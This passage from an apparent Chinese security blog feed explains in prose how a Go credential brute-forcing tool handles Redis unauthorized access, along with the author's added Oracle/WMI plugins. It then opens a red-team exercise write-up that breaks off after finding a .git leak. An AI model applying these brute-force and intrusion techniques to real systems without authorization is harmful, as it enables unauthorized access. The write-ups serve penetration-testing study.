1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">k</code>值会被<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">hash.MakeTaskHash</code>做一次<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">hash</code>，并校验该<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">hash</code>。如果校验通过则该次循环结束，直接进入下一次循环，如果不通过，则调用爆破模块对此目标进行爆破。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">对于这段代码的作用，有心的人会发现这些协议都存在匿名访问，比如<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">redis</code>协议，如果目标的<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">redis</code>有未授权，那么你用什么用户名口令都能登录成功，最后输出的结果就是一大堆爆破成功账号密码。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">所以这里对于这些有匿名访问的协议，爆破成功一次后会把其<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">k</code>值得<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">hash</code>放入一个<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">map</code>中维护，如果后面有同ip同端口且同协议得目标再来爆破，那就直接略过，不进行再次爆破。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">最后产生得最直观得结果就是，一个目标得<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">redis</code>未授权只能爆破出来一组用户名密码，而一个目标得<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">mysql</code>如果账号密码都正确可以爆破出来多组用户名密码。</p><p><br/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">而具体得爆破工作则是由</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">fn(task)</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">来做，</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">fn</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">是从</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">plugins.ScanFuncMap</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">中根据协议取出来得，这也是之前爆破模块那里规范接口得好处，在这里用的时候可以直接用一个</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">fn</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">表达出所有以注册过得爆破模块(如</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">ScanFtp</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">、</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">ScanSsh</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">)，然后将爆破结果保存到缓存中：</span></p><p><br/></p><p><img data-ratio="0.508598228243877" data-w="1919" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=186aa127&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl98OXUNnRt9VvibqQwvVzBoXT03icPTYzkiat7s5ibwubicGcl9AYaBwkiciarA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">等所有得协程执行<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">crackPassword</code>结束后，把缓存中爆破成功得数据进行导出。在这之前作者还设计了一个爆破得时候防止有些协议没有超时选项所以自己设置了一个超时中断方法<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">WaitTimeout</code>，感兴趣可以自己看看：</p><p><br/><img data-ratio="0.2730607966457023" data-w="1908" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e0a702d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9A01JzhYLUdOR4qe4fUqdwkDJJNzM6U8ZfX1bdN1sUlE3icIrZvIscwQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p><p>主要的思路就是如上所述这样。</p><p><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">拓展</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">这个工具大致符合我对于爆破得需要，支持协议也很全，缺陷有些地方不够符合我的预期，于是我在这个工具上自己迭代了四个小版本。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">在原工具基础上又新增了一些符合我们平常渗透得一些输入方式，比如指定一堆<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">ip</code>、<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">用户名</code>、<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">密码</code>，用指定得协议来对这些爆破和指定配置文件进行操作等功能，同时又加了一个<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">oracle</code>和<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">wmi</code>爆破得插件。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">下面是改变之后工具得部分功能展示：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.1860655737704918" data-w="1220" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8d42e231&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9TquXG6CpbUxJ6ADVZvCjo9pxUNORK1QmibofK19oFrhA6IlDib6Caic0A%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">结尾：再次向原作致敬</span>！</p>



<p><a href="2247483809">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0888ebe7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247483809%26idx%3D1%26sn%3Ddf1e986198c4cb5cefdec9d6a44b9e76%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 24 Nov 2020 17:14:00 +0800</pubDate>
    </item>
    <item>
      <title>记一次攻防演习渗透过程</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247483790&amp;idx=1&amp;sn=28c4f7da4d498bf265360d029827eef1</link>
      <description>记录一次攻防演习渗透过程，文章仅写关于「打点」环节的部分，也就是拿到靶标的Webshell。</description>
      <content:encoded><![CDATA[<p>
原创 <span>EvilChen</span> <span>2020-11-22 00:16</span> <span style="display: inline-block;"></span>
</p>

<p>记录一次攻防演习渗透过程，文章仅写关于「打点」环节的部分，也就是拿到靶标的Webshell。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0c0345e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWHiahWFNT5MosPUkvAMIrNPn2YtOoSEVMNVKm8Cd8xKw9mgibSUSxqicKw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem;padding-top: 1rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.6rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">记一次攻防演习渗透过程</h1><h2 style="text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem;padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">前言</h2><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">记录一次攻防演习渗透过程，文章仅写关于「打点」环节的部分，也就是拿到靶标的Webshell为止。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">任务: 拿到XXX业务系统权限...</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h2 style="text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem;padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">过程</h2><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">靶标是一个www的域名，简单看了下有机会硬啃（商业源码），但时间不多，先找找脆弱点，常规一套流程，收集子域、C段...</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">脆弱点发现</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">在对子域的常规扫描后，发现存在<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git</code>泄露:</p><p><br/><img data-ratio="0.9271255060728745" data-w="988" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1a966854&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWw1nCy5tCUs1m2B2rH3kMSTppxINrHhEwD8V4vwEeoEiaj2gsPOnIfpg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 